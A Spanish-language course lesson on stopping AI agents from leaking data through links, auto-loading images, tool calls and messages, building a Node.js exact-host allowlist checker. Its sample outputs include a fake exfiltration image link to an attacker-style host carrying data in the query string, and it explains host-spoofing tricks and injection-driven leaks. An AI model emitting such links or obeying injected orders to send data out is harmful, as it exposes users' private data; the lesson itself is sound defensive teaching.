Cómo salen datos de un agente de IA
La exfiltración es la salida de datos por una ruta que su dueño no previó. Un agente tiene más rutas que un chat: enlaces en sus respuestas, imágenes, llamadas a herramientas y peticiones web.
El módulo Proteger aplicaciones con LLM trata la inyección. Esta lección cierra las salidas, para que una orden oculta en una página no tenga adónde enviar lo que el agente sabe.
Al final de esta lección
Nota
Puedo cerrar las rutas por las que salen los datos de un agente, con una lista de destinos permitidos que el código comprueba.
Palabras clave
| Palabra | Qué significa | Ejemplo |
|---|---|---|
| Exfiltración | datos que salen por una ruta que el dueño no previó | |
| Lista de permitidos | los únicos destinos autorizados, con todos los demás rechazados | docs.ejemplo.es |
| Host | el nombre del servidor en un enlace, entre // y la siguiente / | |
| Cadena de consulta | la parte de un enlace tras el signo de interrogación, que puede llevar datos | |
| Tráfico de salida | el tráfico que sale de tu sistema hacia otro |
Las celdas que rellenan los estudiantes quedan en blanco en esta vista previa.
Cuatro rutas por las que salen datos
Un enlace en la respuesta: el usuario hace clic y la dirección lleva datos. Una imagen en la respuesta: el navegador la carga solo, así que los datos salen sin clic.
Una llamada a herramienta: una petición del agente con datos en sus argumentos. Un nombre de archivo o un mensaje enviado a una herramienta de chat o de correo.
Las cuatro ponen datos en un destino o en un mensaje. Comprueba adónde va cada una.
Ejemplo resuelto: ruta y control
| Ruta | Cómo salen los datos | El control |
|---|---|---|
| Enlace | En la cadena de consulta o en la ruta | El host está en la lista de permitidos |
| Imagen | El navegador la carga de inmediato | El mismo control del host, o ninguna imagen |
| Herramienta de peticiones web | En la dirección o en el cuerpo | Host en la lista, y método limitado |
| Herramienta de chat o correo | En el texto del mensaje | Destinatario en la lista |
Las celdas que rellenan los estudiantes quedan en blanco en esta vista previa.
El Run comprueba enlaces, no envía nada
El primer script guarda cuatro salidas inventadas. Encuentra cada enlace y lee su host. Luego compara el host con una lista de permitidos.
No se descarga nada. Las direcciones son inventadas y el script solo las lee. Fíjate en cómo se escribe el enlace de imagen: empieza por un signo de exclamación, que el script construye con un código de carácter.
Escribe el comprobador de enlaces, parte 1
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'const allowed = [\"docs.ejemplo.es\", \"ayuda.ejemplo.es\"];' 'const bang = String.fromCharCode(33);' 'const outputs = [' ' \"Mira la guía en https://docs.ejemplo.es/inicio para los pasos.\",' ' \"Hecho. \" + bang + \"[logo](https://imagenes.atacante.ejemplo/p.png?d=ANA-4411)\",' ' \"Abre [el formulario](https://ayuda.ejemplo.es/formulario) para seguir.\",' ' \"Pulsa https://rastreo.ejemplo.net/c?nota=secreto para confirmar.\",' '];' > egress.js"Se muestra aquí y no se ejecuta. Crea una cuenta gratuita para pulsar Ejecutar y escribirlo en el terminal de tu propio laboratorio.
Escribe el comprobador de enlaces, parte 2
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'function hostOf(url) {' ' return url.split(\"/\")[2].split(\"?\")[0];' '}' 'function urlsIn(text) {' ' const found = [];' ' for (const word of text.split(\" \")) {' ' const at = word.indexOf(\"http\");' ' if (at >= 0) found.push(word.slice(at).split(\")\")[0]);' ' }' ' return found;' '}' 'for (const text of outputs) {' ' for (const url of urlsIn(text)) {' ' const ok = allowed.includes(hostOf(url));' ' const query = url.includes(\"?\") ? \" (lleva una consulta)\" : \"\";' ' console.log((ok ? \"permitido \" : \"BLOQUEADO \") + hostOf(url) + query);' ' }' '}' >> egress.js"Se muestra aquí y no se ejecuta. Crea una cuenta gratuita para pulsar Ejecutar y escribirlo en el terminal de tu propio laboratorio.
Ejecuta el comprobador de enlaces
docker exec -w /home/node/project agent node egress.jsSe muestra aquí y no se ejecuta. Crea una cuenta gratuita para pulsar Ejecutar y escribirlo en el terminal de tu propio laboratorio.
Lo que imprime el script
| Línea | Lo que muestra |
|---|---|
| permitido docs.ejemplo.es | El host está en la lista |
| BLOQUEADO imagenes.atacante.ejemplo (lleva una consulta) | Una imagen a un desconocido, con datos en la dirección |
| permitido ayuda.ejemplo.es | Un enlace a un host de la lista |
| BLOQUEADO rastreo.ejemplo.net (lleva una consulta) | Un host que nadie incluyó |
Las celdas que rellenan los estudiantes quedan en blanco en esta vista previa.
Compara el host entero, exactamente
Comprobar que un enlace empieza por el nombre permitido es demasiado débil. El enlace docs.ejemplo.es.atacante.ejemplo empieza así y va a otra parte.
Un enlace también puede llevar un nombre antes de una arroba. En [email protected], el host real es lo que va tras la arroba. Extrae el host y compáralo entero.
Un error frecuente
Advertencia
Muchos escriben una lista negra de hosts malos. Los atacantes tienen infinitos nuevos. Lista lo permitido y rechaza el resto, en el código, antes de mostrar la respuesta.
Escribe el script del modelo, parte 1
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'const { ask } = require(\"./model\");' '' 'const allowed = [\"docs.ejemplo.es\", \"ayuda.ejemplo.es\"];' 'const messages = [' ' { role: \"system\", content: \"Ayudas a los usuarios de un producto de software. Responde en una frase con un solo enlace markdown a https://docs.ejemplo.es/ayuda.\" },' ' { role: \"user\", content: \"¿Dónde encuentro ayuda?\" },' '];' '// Muestra grabada, usada solo cuando ningún modelo responde.' 'const sample = \"Puedes encontrar ayuda en [la guía](https://docs.ejemplo.es/ayuda).\";' > egress2.js"Se muestra aquí y no se ejecuta. Crea una cuenta gratuita para pulsar Ejecutar y escribirlo en el terminal de tu propio laboratorio.
Escribe el script del modelo, parte 2
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'function hostOf(url) {' ' return url.split(\"/\")[2].split(\"?\")[0];' '}' 'function urlsIn(text) {' ' const found = [];' ' for (const word of text.split(\" \")) {' ' const at = word.indexOf(\"http\");' ' if (at >= 0) found.push(word.slice(at).split(\")\")[0]);' ' }' ' return found;' '}' >> egress2.js"Se muestra aquí y no se ejecuta. Crea una cuenta gratuita para pulsar Ejecutar y escribirlo en el terminal de tu propio laboratorio.
Escribe el script del modelo, parte 3
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'async function main() {' ' const reply = await ask(messages, sample, 80);' ' console.log(\"Respuesta: \" + reply);' ' const urls = urlsIn(reply);' ' console.log(\"Enlaces encontrados: \" + urls.length);' ' for (const url of urls) {' ' console.log((allowed.includes(hostOf(url)) ? \"permitido \" : \"BLOQUEADO \") + hostOf(url));' ' }' '}' 'main();' >> egress2.js"Se muestra aquí y no se ejecuta. Crea una cuenta gratuita para pulsar Ejecutar y escribirlo en el terminal de tu propio laboratorio.
Escribe el ayudante del modelo, parte 1
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'const base = process.env.AI_URL || \"http://ai:4000\";' 'async function ask(messages, sample, max) {' ' try {' ' const res = await fetch(base + \"/v1/chat/completions\", {' ' method: \"POST\",' ' headers: { \"content-type\": \"application/json\", authorization: \"Bearer lab\" },' ' body: JSON.stringify({ model: \"lab\", messages: messages, max_tokens: max || 200 }),' ' signal: AbortSignal.timeout(30000),' ' });' ' if (res.ok === false) throw new Error(\"estado \" + res.status);' ' return (await res.json()).choices[0].message.content;' > model.js"Se muestra aquí y no se ejecuta. Crea una cuenta gratuita para pulsar Ejecutar y escribirlo en el terminal de tu propio laboratorio.
Escribe el ayudante del modelo, parte 2
docker exec -w /home/node/project agent sh -c "printf '%s\n' ' } catch (error) {' ' console.log(\"Muestra grabada: ningún modelo respondió (\" + error.message + \").\");' ' const list = [].concat(sample);' ' const turn = messages.filter(function (m) { return m.role === \"assistant\"; }).length;' ' return list[Math.min(turn, list.length - 1)];' ' }' '}' 'module.exports = { ask };' >> model.js"Se muestra aquí y no se ejecuta. Crea una cuenta gratuita para pulsar Ejecutar y escribirlo en el terminal de tu propio laboratorio.
Ejecútalo con el modelo
docker exec -w /home/node/project agent node egress2.jsSe muestra aquí y no se ejecuta. Crea una cuenta gratuita para pulsar Ejecutar y escribirlo en el terminal de tu propio laboratorio.
Una posible salida
| Línea | Lo que puede mostrar |
|---|---|
| Respuesta | Una frase con un enlace. Las palabras cambian en cada ejecución |
| Enlaces encontrados | Normalmente 1. El programa cuenta lo que contenga la respuesta |
| permitido o BLOQUEADO | permitido cuando el host está en la lista. BLOQUEADO para cualquier otro host |
| Muestra grabada | Se imprime primero cuando ningún modelo respondió. El script sigue con la muestra |
Las celdas que rellenan los estudiantes quedan en blanco en esta vista previa.